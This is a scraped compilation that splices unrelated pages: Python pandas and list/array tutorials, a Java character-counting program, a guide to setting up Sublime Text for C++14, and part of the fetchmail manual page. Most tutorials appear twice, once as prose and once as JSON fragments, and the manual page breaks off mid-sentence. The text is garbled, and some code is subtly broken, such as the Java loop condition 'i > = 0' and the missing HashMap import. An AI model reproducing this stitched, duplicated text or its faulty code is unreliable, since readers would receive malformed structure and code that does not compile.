"e": 1185, "s": 1088, "text": null }, { "code": null, "e": 1193, "s": 1185, "text": "Output:" }, { "code": null, "e": 1306, "s": 1193, "text": "Example 4: If you want to change the data type of a particular column you can do it using the parameter “dtype“." }, { "code": null, "e": 1314, "s": 1306, "text": "Python3" }, { "code": "import pandas as pd df = pd.read_excel('sample.xlsx', dtype = {\"Products\": str, \"Price\":float})print(df)", "e": 1466, "s": 1314, "text": null }, { "code": null, "e": 1474, "s": 1466, "text": "Output:" }, { "code": null, "e": 1631, "s": 1474, "text": "Example 5: In case you have unknown values, then you can handle it using the parameter “na_values“. It will convert the mentioned unknown values into “NaN” " }, { "code": null, "e": 1639, "s": 1631, "text": "Python3" }, { "code": "import pandas as pddf = pd.read_excel('sample.xlsx', na_values =['item1', 'item2'])print(df)", "e": 1782, "s": 1639, "text": null }, { "code": null, "e": 1790, "s": 1782, "text": "Output:" }, { "code": null, "e": 1813, "s": 1790, "text": "Python Pandas-exercise" }, { "code": null, "e": 1827, "s": 1813, "text": "Python-pandas" }, { "code": null, "e": 1834, "s": 1827, "text": "Python" } ]
Difference between List and Array in Python
17 Jul, 2020 List: A list in Python is a collection of items which can contain elements of multiple data types, which may be either numeric, character logical values, etc. It is an ordered collection supporting negative indexing. A list can be created using [] containing data values.Contents of lists can be easily merged and copied using python’s inbuilt functions. # creating a list containing elements # belonging to different data typessample_list = [1,"Yash",['a','e']]print(sample_list) Output : [1, 'Yash', ['a', 'e']] The first element is an integer, the second a string and the third is an list of characters. Array: An array is a vector containing homogeneous elements i.e. belonging to the same data type. Elements are allocated with contiguous memory locations allowing easy modification, that is, addition, deletion, accessing of elements. In Python, we have to use the array module to declare arrays. If the elements of an array belong to different data types, an exception “Incompatible data types” is thrown. # creating an array containing same # data type elements import array sample_array = array.array('i', [1, 2, 3]) # accessing elements of arrayfor i in sample_array: print(i) Output : 1 2 3 Here are the differences between List and Array in Python : Python-array python-list Difference Between Python python-list Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Difference between var, let and const keywords in JavaScript Difference Between Method Overloading and Method Overriding in Java Difference between Process and Thread Difference between Clustered and Non-clustered index Differences between IPv4 and IPv6 Read JSON file using Python Adding new column to existing DataFrame in Pandas Python map() function How to get column names in Pandas dataframe Different ways to create Pandas Dataframe
[ { "code": null, "e": 52, "s": 24, "text": "\n17 Jul, 2020" }, { "code": null, "e": 407, "s": 52, "text": "List: A list in Python is a collection of items which can contain elements of multiple data types, which may be either numeric, character logical values, etc. It is an ordered collection supporting negative indexing. A list can be created using [] containing data values.Contents of lists can be easily merged and copied using python’s inbuilt functions." }, { "code": "# creating a list containing elements # belonging to different data typessample_list = [1,\"Yash\",['a','e']]print(sample_list)", "e": 533, "s": 407, "text": null }, { "code": null, "e": 542, "s": 533, "text": "Output :" }, { "code": null, "e": 567, "s": 542, "text": "[1, 'Yash', ['a', 'e']]\n" }, { "code": null, "e": 660, "s": 567, "text": "The first element is an integer, the second a string and the third is an list of characters." }, { "code": null, "e": 1066, "s": 660, "text": "Array: An array is a vector containing homogeneous elements i.e. belonging to the same data type. Elements are allocated with contiguous memory locations allowing easy modification, that is, addition, deletion, accessing of elements. In Python, we have to use the array module to declare arrays. If the elements of an array belong to different data types, an exception “Incompatible data types” is thrown." }, { "code": "# creating an array containing same # data type elements import array sample_array = array.array('i', [1, 2, 3]) # accessing elements of arrayfor i in sample_array: print(i)", "e": 1248, "s": 1066, "text": null }, { "code": null, "e": 1257, "s": 1248, "text": "Output :" }, { "code": null, "e": 1264, "s": 1257, "text": "1\n2\n3\n" }, { "code": null, "e": 1324, "s": 1264, "text": "Here are the differences between List and Array in Python :" }, { "code": null, "e": 1337, "s": 1324, "text": "Python-array" }, { "code": null, "e": 1349, "s": 1337, "text": "python-list" }, { "code": null, "e": 1368, "s": 1349, "text": "Difference Between" }, { "code": null, "e": 1375, "s": 1368, "text": "Python" }, { "code": null, "e": 1387, "s": 1375, "text": "python-list" }, { "code": null, "e": 1485, "s": 1387, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 1546, "s": 1485, "text": "Difference between var, let and const keywords in JavaScript" }, { "code": null, "e": 1614, "s": 1546, "text": "Difference Between Method Overloading and Method Overriding in Java" }, { "code": null, "e": 1652, "s": 1614, "text": "Difference between Process and Thread" }, { "code": null, "e": 1705, "s": 1652, "text": "Difference between Clustered and Non-clustered index" }, { "code": null, "e": 1739, "s": 1705, "text": "Differences between IPv4 and IPv6" }, { "code": null, "e": 1767, "s": 1739, "text": "Read JSON file using Python" }, { "code": null, "e": 1817, "s": 1767, "text": "Adding new column to existing DataFrame in Pandas" }, { "code": null, "e": 1839, "s": 1817, "text": "Python map() function" }, { "code": null, "e": 1883, "s": 1839, "text": "How to get column names in Pandas dataframe" } ]
Java program to check occurrence of each character in String
In order to find occurence of each character in a string we can use Map utility of Java.In Map a key could not be duplicate so make each character of string as key of Map and provide initial value corresponding to each key as 1 if this character does not inserted in map before.Now when a character repeats during insertion as key in Map increase its value by one.Continue this for each character untill all characters of string get inserted. public class occurenceOfCharacter { public static void main(String[] args) { String str = "SSDRRRTTYYTYTR"; HashMap <Character, Integer> hMap = new HashMap<>(); for (int i = str.length() - 1; i > = 0; i--) { if (hMap.containsKey(str.charAt(i))) { int count = hMap.get(str.charAt(i)); hMap.put(str.charAt(i), ++count); } else { hMap.put(str.charAt(i),1); } } System.out.println(hMap); } } {D=1, T=4, S=2, R=4, Y=3}
[ { "code": null, "e": 1630, "s": 1187, "text": "In order to find occurence of each character in a string we can use Map utility of Java.In Map a key could not be duplicate so make each character of string as key of Map and provide initial value corresponding to each key as 1 if this character does not inserted in map before.Now when a character repeats during insertion as key in Map increase its value by one.Continue this for each character untill all characters of string get inserted." }, { "code": null, "e": 2117, "s": 1630, "text": "public class occurenceOfCharacter {\n public static void main(String[] args) {\n String str = \"SSDRRRTTYYTYTR\";\n HashMap <Character, Integer> hMap = new HashMap<>();\n for (int i = str.length() - 1; i > = 0; i--) {\n if (hMap.containsKey(str.charAt(i))) {\n int count = hMap.get(str.charAt(i));\n hMap.put(str.charAt(i), ++count);\n } else {\n hMap.put(str.charAt(i),1);\n }\n }\n System.out.println(hMap);\n }\n}" }, { "code": null, "e": 2143, "s": 2117, "text": "{D=1, T=4, S=2, R=4, Y=3}" } ]
Setting Up Sublime Text For Competitive Coding in C++14 on Ubuntu
24 Feb, 2022 Started with coding learned the c++ language and basic ds&algo and want to more dive into it. Well, competitive coding is exactly what you need to give a boost to your coding skills. In this tutorial, we are starting with setting up cp environment so that you can start with your competitive programming journey. Here we’re using the sublime text editor in Ubuntu. So if you have Ubuntu on your pc you are ready to go. If you do not have sublime text editor on your Ubuntu you can easily install it. Just follow the below-given steps: Press ctrl+alt+t // This will open the terminalNow write sudo snap install sublime The installation will start just press “y”wherever it asks forand and hit enterCongrats sublime is now installed on your ubuntu. Press ctrl+alt+t // This will open the terminal Now write sudo snap install sublime The installation will start just press “y”wherever it asks forand and hit enter Congrats sublime is now installed on your ubuntu. For c++14 code to compile we need to set up a compiler for c++14 in the sublime text as it does not come by default. Step 1: Open sublime text Step 2: From the top menu, select Tools->Build system->New build system. On selecting this a new window will be opened as shown below Step 3: Now all you have to do is to paste the below-given code in the tab opened. Make sure to erase the previous one { "cmd":["bash", "-c", "g++ -std=c++14 -Wall '${file}' -o '${file_path}/${file_base_name}' && '${file_path}/${file_base_name}'"], "file_regex": "^(..[^:]*):([0-9]+):?([0-9]+)?:? (.*)$", "working_dir": "${file_path}", "selector": "source.c, source.c++", "variants": [ { "name": "Run", "cmd": ["bash", "-c", "g++ -std=c++14 '${file}' -o '${file_path}/${file_base_name}' && '${file_path}/${file_base_name}'"] } ] } The above code creates a C++14 build system for sublime since by default sublime has a default build system for c++11 so for making new features of c++14 to work in sublime we need to set up the build system for c++14. Now, we have done setting up the build system for c++14 In order for taking input and receiving output from a code, we need to manually set up our input and output files. Step 1: From the top menu, select View->Layout->Columns :3 or press Shift+Alt+3. Three new columns will be created as shown below: Step 2: Now select View->Groups->Max columns: 2. This will group the last two created columns. See the image below: Step 3: Now you can view three files simultaneously in sublime text. We will now select the first column(left) and save the file as main.cpp(This is the file where our code will be written). Similarly, select the second column(top-right), Press (Ctrl+N ), and then save the file as input.txt. At last, select the third column(top-right), Press (Ctrl+N ) and then save the file as output.txt. Now, we have done changing the layout of sublime text for I/O operations. This layout becomes extremely helpful when doing cp as in cp we all know to check our code for various types of input and check their outputs according to it so if all this happens in a single window the process becomes extremely fast. This layout is not a compulsion however is most preferred and used in cp In order to link the main.cpp(program file) with input.txt(input file) and output.txt (output file) paste the below code in your main.cpp file in the main program. Copy the entire code given below in the main.cpp file : #ifndef ONLINE_JUDGE freopen("input.txt","r",stdin); //file input.txt is opened in reading mode i.e "r" freopen("output.txt","w",stdout); //file output.txt is opened in writing mode i.e "w" #endif Input.txt and output.txt are files that we created for giving input to the program and receiving output respectively. The above given code line { freopen(“input.txt”,”r”,stdin); } justify that the program will take input from the mentioned file i.e input.txt, and you will the get desired output in output.txt as we mentioned it in the last code line { freopen(“output.txt”,”w”,stdout); } Now, we have done setting up the cp environment in sublime text. Write a sample program in your main.cpp file. For reference, you can take the below-mentioned code: C++ #include <bits/stdc++.h> using namespace std; int main() { #ifndef ONLINE_JUDGE freopen("input.txt", "r", stdin); freopen("output.txt", "w", stdout); #endif string var = "geekforgeeks"; cout << var; return 0;} After this save the main.cpp file and press (Ctrl+b) to run the file and your desired output will be displayed in the output.txt file. nikhil2001 gsumit178 C++ Competitive Programming How To Linux-Unix CPP Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Sorting a vector in C++ Polymorphism in C++ Friend class and function in C++ Pair in C++ Standard Template Library (STL) std::string class in C++ Competitive Programming - A Complete Guide Practice for cracking any coding interview Arrow operator -> in C/C++ with Examples Modulo 10^9+7 (1000000007) Prefix Sum Array - Implementation and Applications in Competitive Programming
[ { "code": null, "e": 52, "s": 24, "text": "\n24 Feb, 2022" }, { "code": null, "e": 365, "s": 52, "text": "Started with coding learned the c++ language and basic ds&algo and want to more dive into it. Well, competitive coding is exactly what you need to give a boost to your coding skills. In this tutorial, we are starting with setting up cp environment so that you can start with your competitive programming journey." }, { "code": null, "e": 471, "s": 365, "text": "Here we’re using the sublime text editor in Ubuntu. So if you have Ubuntu on your pc you are ready to go." }, { "code": null, "e": 587, "s": 471, "text": "If you do not have sublime text editor on your Ubuntu you can easily install it. Just follow the below-given steps:" }, { "code": null, "e": 804, "s": 587, "text": "Press ctrl+alt+t // This will open the terminalNow write sudo snap install sublime The installation will start just press “y”wherever it asks forand and hit enterCongrats sublime is now installed on your ubuntu." }, { "code": null, "e": 857, "s": 804, "text": "Press ctrl+alt+t // This will open the terminal" }, { "code": null, "e": 894, "s": 857, "text": "Now write sudo snap install sublime " }, { "code": null, "e": 974, "s": 894, "text": "The installation will start just press “y”wherever it asks forand and hit enter" }, { "code": null, "e": 1024, "s": 974, "text": "Congrats sublime is now installed on your ubuntu." }, { "code": null, "e": 1141, "s": 1024, "text": "For c++14 code to compile we need to set up a compiler for c++14 in the sublime text as it does not come by default." }, { "code": null, "e": 1167, "s": 1141, "text": "Step 1: Open sublime text" }, { "code": null, "e": 1301, "s": 1167, "text": "Step 2: From the top menu, select Tools->Build system->New build system. On selecting this a new window will be opened as shown below" }, { "code": null, "e": 1421, "s": 1301, "text": "Step 3: Now all you have to do is to paste the below-given code in the tab opened. Make sure to erase the previous one " }, { "code": null, "e": 1867, "s": 1421, "text": "{\n \"cmd\":[\"bash\", \"-c\", \"g++ -std=c++14 -Wall '${file}' -o '${file_path}/${file_base_name}' && '${file_path}/${file_base_name}'\"],\n \"file_regex\": \"^(..[^:]*):([0-9]+):?([0-9]+)?:? (.*)$\",\n \"working_dir\": \"${file_path}\",\n \"selector\": \"source.c, source.c++\",\n \"variants\":\n [\n {\n \"name\": \"Run\",\n \"cmd\": [\"bash\", \"-c\", \"g++ -std=c++14 '${file}' -o '${file_path}/${file_base_name}' && '${file_path}/${file_base_name}'\"]\n }\n ]\n}" }, { "code": null, "e": 2086, "s": 1867, "text": "The above code creates a C++14 build system for sublime since by default sublime has a default build system for c++11 so for making new features of c++14 to work in sublime we need to set up the build system for c++14." }, { "code": null, "e": 2143, "s": 2086, "text": "Now, we have done setting up the build system for c++14 " }, { "code": null, "e": 2258, "s": 2143, "text": "In order for taking input and receiving output from a code, we need to manually set up our input and output files." }, { "code": null, "e": 2340, "s": 2258, "text": "Step 1: From the top menu, select View->Layout->Columns :3 or press Shift+Alt+3. " }, { "code": null, "e": 2390, "s": 2340, "text": "Three new columns will be created as shown below:" }, { "code": null, "e": 2440, "s": 2390, "text": "Step 2: Now select View->Groups->Max columns: 2. " }, { "code": null, "e": 2507, "s": 2440, "text": "This will group the last two created columns. See the image below:" }, { "code": null, "e": 2576, "s": 2507, "text": "Step 3: Now you can view three files simultaneously in sublime text." }, { "code": null, "e": 2899, "s": 2576, "text": "We will now select the first column(left) and save the file as main.cpp(This is the file where our code will be written). Similarly, select the second column(top-right), Press (Ctrl+N ), and then save the file as input.txt. At last, select the third column(top-right), Press (Ctrl+N ) and then save the file as output.txt." }, { "code": null, "e": 2973, "s": 2899, "text": "Now, we have done changing the layout of sublime text for I/O operations." }, { "code": null, "e": 3282, "s": 2973, "text": "This layout becomes extremely helpful when doing cp as in cp we all know to check our code for various types of input and check their outputs according to it so if all this happens in a single window the process becomes extremely fast. This layout is not a compulsion however is most preferred and used in cp" }, { "code": null, "e": 3446, "s": 3282, "text": "In order to link the main.cpp(program file) with input.txt(input file) and output.txt (output file) paste the below code in your main.cpp file in the main program." }, { "code": null, "e": 3502, "s": 3446, "text": "Copy the entire code given below in the main.cpp file :" }, { "code": null, "e": 3700, "s": 3502, "text": "#ifndef ONLINE_JUDGE\nfreopen(\"input.txt\",\"r\",stdin); //file input.txt is opened in reading mode i.e \"r\"\nfreopen(\"output.txt\",\"w\",stdout); //file output.txt is opened in writing mode i.e \"w\"\n#endif" }, { "code": null, "e": 4093, "s": 3700, "text": "Input.txt and output.txt are files that we created for giving input to the program and receiving output respectively. The above given code line { freopen(“input.txt”,”r”,stdin); } justify that the program will take input from the mentioned file i.e input.txt, and you will the get desired output in output.txt as we mentioned it in the last code line { freopen(“output.txt”,”w”,stdout); }" }, { "code": null, "e": 4158, "s": 4093, "text": "Now, we have done setting up the cp environment in sublime text." }, { "code": null, "e": 4204, "s": 4158, "text": "Write a sample program in your main.cpp file." }, { "code": null, "e": 4258, "s": 4204, "text": "For reference, you can take the below-mentioned code:" }, { "code": null, "e": 4262, "s": 4258, "text": "C++" }, { "code": "#include <bits/stdc++.h> using namespace std; int main() { #ifndef ONLINE_JUDGE freopen(\"input.txt\", \"r\", stdin); freopen(\"output.txt\", \"w\", stdout); #endif string var = \"geekforgeeks\"; cout << var; return 0;}", "e": 4494, "s": 4262, "text": null }, { "code": null, "e": 4629, "s": 4494, "text": "After this save the main.cpp file and press (Ctrl+b) to run the file and your desired output will be displayed in the output.txt file." }, { "code": null, "e": 4640, "s": 4629, "text": "nikhil2001" }, { "code": null, "e": 4650, "s": 4640, "text": "gsumit178" }, { "code": null, "e": 4654, "s": 4650, "text": "C++" }, { "code": null, "e": 4678, "s": 4654, "text": "Competitive Programming" }, { "code": null, "e": 4685, "s": 4678, "text": "How To" }, { "code": null, "e": 4696, "s": 4685, "text": "Linux-Unix" }, { "code": null, "e": 4700, "s": 4696, "text": "CPP" }, { "code": null, "e": 4798, "s": 4700, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 4822, "s": 4798, "text": "Sorting a vector in C++" }, { "code": null, "e": 4842, "s": 4822, "text": "Polymorphism in C++" }, { "code": null, "e": 4875, "s": 4842, "text": "Friend class and function in C++" }, { "code": null, "e": 4919, "s": 4875, "text": "Pair in C++ Standard Template Library (STL)" }, { "code": null, "e": 4944, "s": 4919, "text": "std::string class in C++" }, { "code": null, "e": 4987, "s": 4944, "text": "Competitive Programming - A Complete Guide" }, { "code": null, "e": 5030, "s": 4987, "text": "Practice for cracking any coding interview" }, { "code": null, "e": 5071, "s": 5030, "text": "Arrow operator -> in C/C++ with Examples" }, { "code": null, "e": 5098, "s": 5071, "text": "Modulo 10^9+7 (1000000007)" } ]
fetchmail - Unix, Linux Command
The fetchmail program can gather mail from servers supporting any of the common mail-retrieval protocols: POP2 (legacy, to be removed from future release), POP3, IMAP2bis, IMAP4, and IMAP4rev1. It can also use the ESMTP ETRN extension and ODMR. (The RFCs describing all these protocols are listed at the end of this manual page.) While fetchmail is primarily intended to be used over on-demand TCP/IP links (such as SLIP or PPP connections), it may also be useful as a message transfer agent for sites which refuse for security reasons to permit (sender-initiated) SMTP transactions with sendmail. If fetchmail is used with a POP or an IMAP server, it has two fundamental modes of operation for each user account from which it retrieves mail: singledrop- and multidrop-mode. In singledrop-mode, fetchmail assumes that all messages in the user’s account are intended for a single recipient. An individual mail message will not be inspected for recipient information, rather, the identity of the recipient will either default to the local user currently executing fetchmail, or else will need to be explicitly specified in the configuration file. Singledrop-mode is used when the fetchmailrc configuration contains at most a single local user specification for a given server account. With multidrop-mode, fetchmail is not able to assume that there is only a single recipient, but rather that the mail server account actually contains mail intended for any number of different recipients. Therefore, fetchmail must attempt to deduce the proper "envelope recipient" from the mail headers of each message. In this mode of operation, fetchmail almost resembles an MTA, however it is important to note that neither the POP nor IMAP protocols were intended for use in this fashion, and hence envelope information is often not directly available. Instead, fetchmail must resort to a process of informed guess-work in an attempt to discover the true envelope recipient of a message, unless the ISP stores the envelope information in some header (not all do). Even if this information is present in the headers, the process can be error-prone and is dependent upon the specific mail server used for mail retrieval. Multidrop-mode is used when more than one local user is specified for a particular server account in the configuration file. Note that the forgoing discussion of singledrop- and multidrop-modes does not apply to the ESMTP ETRN or ODMR retrieval methods, since they are based upon the SMTP protocol which specifically provides the envelope recipient to fetchmail. As each message is retrieved, fetchmail normally delivers it via SMTP to port 25 on the machine it is running on (localhost), just as though it were being passed in over a normal TCP/IP link. fetchmail provides the SMTP server with an envelope recipient derived in the manner described previously. The mail will then be delivered locally via your system’s MDA (Mail Delivery Agent, usually sendmail(8) but your system may use a different one such as smail, mmdf, exim, postfix, or qmail). All the delivery-control mechanisms (such as .forward files) normally available through your system MDA and local delivery agents will therefore work automatically. If no port 25 listener is available, but your fetchmail configuration was told about a reliable local MDA, it will use that MDA for local delivery instead. If the program fetchmailconf is available, it will assist you in setting up and editing a fetchmailrc configuration. It runs under the X window system and requires that the language Python and the Tk toolkit be present on your system. If you are first setting up fetchmail for single-user mode, it is recommended that you use Novice mode. Expert mode provides complete control of fetchmail configuration, including the multidrop features. In either case, the ’Autoprobe’ button will tell you the most capable protocol a given mailserver supports, and warn you of potential problems with that server. Each server name that you specify following the options on the command line will be queried. If you don’t specify any servers on the command line, each ’poll’ entry in your ~/.fetchmailrc file will be queried. To facilitate the use of fetchmail in scripts and pipelines, it returns an appropriate exit code upon termination -- see EXIT CODES below. The following options modify the behavior of fetchmail. It is seldom necessary to specify any of these once you have a working .fetchmailrc file set up. Almost all options have a corresponding keyword which can be used to declare them in a .fetchmailrc file. Some special options are not covered here, but are documented instead in sections on AUTHENTICATION and DAEMON MODE which follow. Note that fetchmail may still try to negotiate TLS even if this option is not given. You can use the --sslproto option to defeat this behavior or tell fetchmail to negotiate a particular SSL protocol. If no port is specified, the connection is attempted to the well known port of the SSL version of the base protocol. This is generally a different port than the port used by the base protocol. For IMAP, this is port 143 for the clear protocol and port 993 for the SSL secured protocol, for POP3, it is port 110 for the clear text and port 995 for the encrypted variant. If your system lacks the corresponding entries from /etc/services, see the --service option and specify the numeric port number as given in the previous paragraph (unless your ISP had directed you to different ports, which is uncommon however). NOTE: If you use client authentication, the user name is fetched from the certificate’s CommonName and overrides the name set with --user. openssl x509 -in cert.pem -noout -md5 -fingerprint For details, see x509(1ssl). --smtphost server1,server2/2525,server3,/var/imap/socket/lmtp This option can be used with ODMR, and will make fetchmail a relay between the ODMR server and SMTP or LMTP receiver. A word of warning: the well-known procmail(1) package is very hard to configure properly, it has a very nasty "fall through to the next rule" behavior on delivery errors (even temporary ones, such as out of disk space if another user’s mail daemon copies the mailbox around to purge old messages), so your mail will end up in the wrong mailbox sooner or later. The proper procmail configuration is outside the scope of this document though. Using maildrop(1) is usually much easier, and many users find the filter syntax used by maildrop easier to understand. An explicit --limit of 0 overrides any limits set in your run control file. This option is intended for those needing to strictly control fetch time due to expensive and variable phone rates. Combined with --limitflush, it can be used to delete oversized messages waiting on a server. In daemon mode, oversize notifications are mailed to the calling user (see the --warnings option). This option does not work with ETRN or ODMR. interface/iii.iii.iii.iii[/mmm.mmm.mmm.mmm] The field before the first slash is the interface name (i.e. sl0, ppp0 etc.). The field before the second slash is the acceptable IP address. The field after the second slash is a mask which specifies a range of IP addresses to accept. If no mask is present 255.255.255.255 is assumed (i.e. an exact match). This option is currently only supported under Linux and FreeBSD. Please see the monitor section for below for FreeBSD specific information. Note that this option may be removed from a future fetchmail version. Note that this option may be removed from a future fetchmail version. This option changes the header fetchmail assumes will carry a copy of the mail’s envelope address. Normally this is ’X-Envelope-To’, but as this header is not standard, practice varies. See the discussion of multidrop address handling below. As a special case, ’envelope "Received"’ enables parsing of sendmail-style Received lines. This is the default, and it should not be necessary unless you have globally disabled Received parsing with ’no envelope’ in the .fetchmailrc file. The optional count argument (only available in the configuration file) determines how many header lines of this kind are skipped. A count of 1 means: skip the first, take the second. A count of 2 means: skip the first and second, take the third, and so on. ’Delivered-To:’ message header. Whenever qmail delivers a message to a local mailbox it puts the username and hostname of the envelope recipient on this line. The major reason for this is to prevent mail loops. To set up qmail to batch mail for a disconnected site the ISP-mailhost will have normally put that site in its ’Virtualhosts’ control file so it will add a prefix to all mail addresses for this site. This results in mail sent to ’[email protected]’ having a ’Delivered-To:’ line of the form: Delivered-To: [email protected] The ISP can make the ’mbox-userstr-’ prefix anything they choose but a string matching the user host name is likely. By using the option ’envelope Delivered-To:’ you can make fetchmail reliably identify the original envelope recipient, but you have to strip the ’mbox-userstr-’ prefix to deliver to the correct user. This is what this option is for. If the mailserver is a Unix machine on which you have an ordinary user account, your regular login name and password are used with fetchmail. If you use the same login name on both the server and the client machines, you needn’t worry about specifying a user-id with the -u option -- the default behavior is to use your login name on the client machine as the user-id on the server machine. If you use a different login name on the server machine, specify that login name with the -u option. e.g. if your login name is ’jsmith’ on a machine named ’mailgrunt’, you would start fetchmail as follows: If you do not specify a password, and fetchmail cannot extract one from your ~/.fetchmailrc file, it will look for a ~/.netrc file in your home directory before requesting one interactively; if an entry matching the mailserver is found in that file, the password will be used. Fetchmail first looks for a match on poll name; if it finds none, it checks for a match on via name. See the ftp(1) man page for details of the syntax of the ~/.netrc file. To show a practical example, a .netrc might look like this: machine hermes.example.org login joe password topsecret This feature may allow you to avoid duplicating password information in more than one file. On mailservers that do not provide ordinary user accounts, your user-id and password are usually assigned by the server administrator when you apply for a mailbox on the server. Contact your server administrator if you don’t know the correct user-id and password for your mailbox account. Early versions of POP3 (RFC1081, RFC1225) supported a crude form of independent authentication using the rhosts file on the mailserver side. Under this RPOP variant, a fixed per-user ID equivalent to a password was sent in clear over a link to a reserved port, with the command RPOP rather than PASS to alert the server that it should do special checking. RPOP is supported by fetchmail (you can specify ’protocol RPOP’ to have the program send ’RPOP’ rather than ’PASS’) but its use is strongly discouraged, and support will be removed from a future fetchmail version. This facility was vulnerable to spoofing and was withdrawn in RFC1460. RFC1460 introduced APOP authentication. In this variant of POP3, you register an APOP password on your server host (on some servers, the program to do this is called popauth(8)). You put the same password in your ~/.fetchmailrc file. Each time fetchmail logs in, it sends an MD5 hash of your password and the server greeting time to the server, which can verify it by checking its authorization database. Note that APOP is no longer considered resistant against man-in-the-middle attacks. fetchmail will always use the RETR command if "fetchall" is set. fetchmail will also use the RETR command if "keep" is set and "uidl" is unset. Finally, fetchmail will use the RETR command on Maillennium POP3/PROXY servers (used by Comcast) to avoid a deliberate TOP misinterpretation in this server that causes message corruption. In all other cases, fetchmail will use the TOP command. This implies that in "keep" setups, "uidl" must be set if "TOP" is desired. Note that this description is true for the current version of fetchmail, but the behavior may change in future versions. In particular, fetchmail may prefer the RETR command because the TOP command causes much grief on some servers and is only optional. If your fetchmail was built with Kerberos support and you specify Kerberos authentication (either with --auth or the .fetchmailrc option authenticate kerberos_v4) it will try to get a Kerberos ticket from the mailserver at the start of each query. Note: if either the pollname or via name is ’hesiod’, fetchmail will try to use Hesiod to look up the mailserver. If you use POP3 or IMAP with GSSAPI authentication, fetchmail will expect the server to have RFC1731- or RFC1734-conforming GSSAPI capability, and will use it. Currently this has only been tested over Kerberos V, so you’re expected to already have a ticket-granting ticket. You may pass a username different from your principal name using the standard --user command or by the .fetchmailrc option user. If your IMAP daemon returns the PREAUTH response in its greeting line, fetchmail will notice this and skip the normal authentication step. This can be useful, e.g. if you start imapd explicitly using ssh. In this case you can declare the authentication value ’ssh’ on that site entry to stop .fetchmail from asking you for a password when it starts up. If you use client authentication with TLS1 and your IMAP daemon returns the AUTH=EXTERNAL response, fetchmail will notice this and will use the authentication shortcut and will not send the passphrase. In this case you can declare the authentication value ’external’ on that site to stop fetchmail from asking you for a password when it starts up. If you are using POP3, and the server issues a one-time-password challenge conforming to RFC1938, fetchmail will use your password as a pass phrase to generate the required response. This avoids sending secrets over the net unencrypted. Compuserve’s RPA authentication is supported. If you compile in the support, fetchmail will try to perform an RPA pass-phrase authentication instead of sending over the password en clair if it detects "@compuserve.com" in the hostname. If you are using IMAP, Microsoft’s NTLM authentication (used by Microsoft Exchange) is supported. If you compile in the support, fetchmail will try to perform an NTLM authentication (instead of sending over the password en clair) whenever the server returns AUTH=NTLM in its capability response. Specify a user option value that looks like ’user@domain’: the part to the left of the @ will be passed as the username and the part to the right as the NTLM domain. You can access SSL encrypted services by specifying the --ssl option. You can also do this using the "ssl" user option in the .fetchmailrc file. With SSL encryption enabled, queries are initiated over a connection after negotiating an SSL session, and the connection fails if SSL cannot be negotiated. Some services, such as POP3 and IMAP, have different well known ports defined for the SSL encrypted services. The encrypted ports will be selected automatically when SSL is enabled and no explicit port is specified. The --sslproto option can be used to select the SSL protocols (default: v2 or v3). The --sslcertck command line or sslcertck run control file option should be used to force strict certificate checking - see below. If SSL is not configured, fetchmail will usually opportunistically try to use TLS. TLS can be enforced by using --sslproto "TLS1". TLS connections use the same port as the unencrypted version of the protocol and negotiate TLS via special parameter. The --sslcertck command line or sslcertck run control file option should be used to force strict certificate checking - see below. --sslcheck recommended: When connecting to an SSL or TLS encrypted server, the server presents a certificate to the client for validation. The certificate is checked to verify that the common name in the certificate matches the name of the server being contacted and that the effective and expiration dates in the certificate indicate that it is currently valid. If any of these checks fail, a warning message is printed, but the connection continues. The server certificate does not need to be signed by any specific Certifying Authority and may be a "self-signed" certificate. If the --sslcertck command line option or sslcertck run control file option is used, fetchmail will instead abort if any of these checks fail. Use of the sslcertck or --sslcertck option is advised. Some SSL encrypted servers may request a client side certificate. A client side public SSL certificate and private SSL key may be specified. If requested by the server, the client certificate is sent to the server for validation. Some servers may require a valid client certificate and may refuse connections if a certificate is not provided or if the certificate is not valid. Some servers may require client side certificates be signed by a recognized Certifying Authority. The format for the key files and the certificate files is that required by the underlying SSL libraries (OpenSSL in the general case). A word of care about the use of SSL: While above mentioned setup with self-signed server certificates retrieved over the wires can protect you from a passive eavesdropper, it doesn’t help against an active attacker. It’s clearly an improvement over sending the passwords in clear, but you should be aware that a man-in-the-middle attack is trivially possible (in particular with tools such as dsniff, http://monkey.org/~dugsong/dsniff/). Use of strict certificate checking with a certification authority recognized by server and client, or perhaps of an SSH tunnel (see below for some examples) is preferable if you care seriously about the security of your mailbox and passwords. fetchmail also supports authentication to the ESMTP server on the client side according to RFC 2554. You can specify a name/password pair to be used with the keywords ’esmtpname’ and ’esmtppassword’; the former defaults to the username of the calling user. Example: simply invoking It is also possible to set a polling interval in your ~/.fetchmailrc file by saying ’set daemon <interval>’, where <interval> is an integer number of seconds. If you do this, fetchmail will always start in daemon mode unless you override it with the command-line option --daemon 0 or -d0. Only one daemon process is permitted per user; in daemon mode, fetchmail sets up a per-user lockfile to guarantee this. (You can however cheat and set the FETCHMAILHOME environment variable to overcome this setting, but in that case, it is your responsibility to make sure you aren’t polling the same server with two processes at the same time.) Normally, calling fetchmail with a daemon in the background sends a wake-up signal to the daemon and quits without output. The background daemon then starts its next poll cycle immediately. The wake-up signal, SIGUSR1, can also be sent manually. The wake-up action also clears any authentication or multiple timeouts. The option --quit will kill a running daemon process instead of waking it up (if there is no such process, fetchmail will notify you. If the --quit option appears last on the command line, fetchmail will kill the running daemon process and then quit. Otherwise, fetchmail will first kill a running daemon process and then continue running with the other options. The -L <filename> or --logfile <filename> option (keyword: set logfile) is only effective when fetchmail is detached. This option allows you to redirect status messages into a specified logfile (follow the option with the logfile name). The logfile is opened for append, so previous messages aren’t deleted. This is primarily useful for debugging configurations. Note that fetchmail does not detect if the logfile is rotated, the logfile is only opened once when fetchmail starts. You need to restart fetchmail after rotating the logfile and before compressing it (if applicable). The --syslog option (keyword: set syslog) allows you to redirect status and error messages emitted to the syslog(3) system daemon if available. Messages are logged with an id of fetchmail, the facility LOG_MAIL, and priorities LOG_ERR, LOG_ALERT or LOG_INFO. This option is intended for logging status and error messages which indicate the status of the daemon and the results while fetching mail from the server(s). Error messages for command line options and parsing the .fetchmailrc file are still written to stderr, or to the specified log file. The --nosyslog option turns off use of syslog(3), assuming it’s turned on in the ~/.fetchmailrc file, or that the -L or --logfile <file> option was used. The -N or --nodetach option suppresses backgrounding and detachment of the daemon process from its 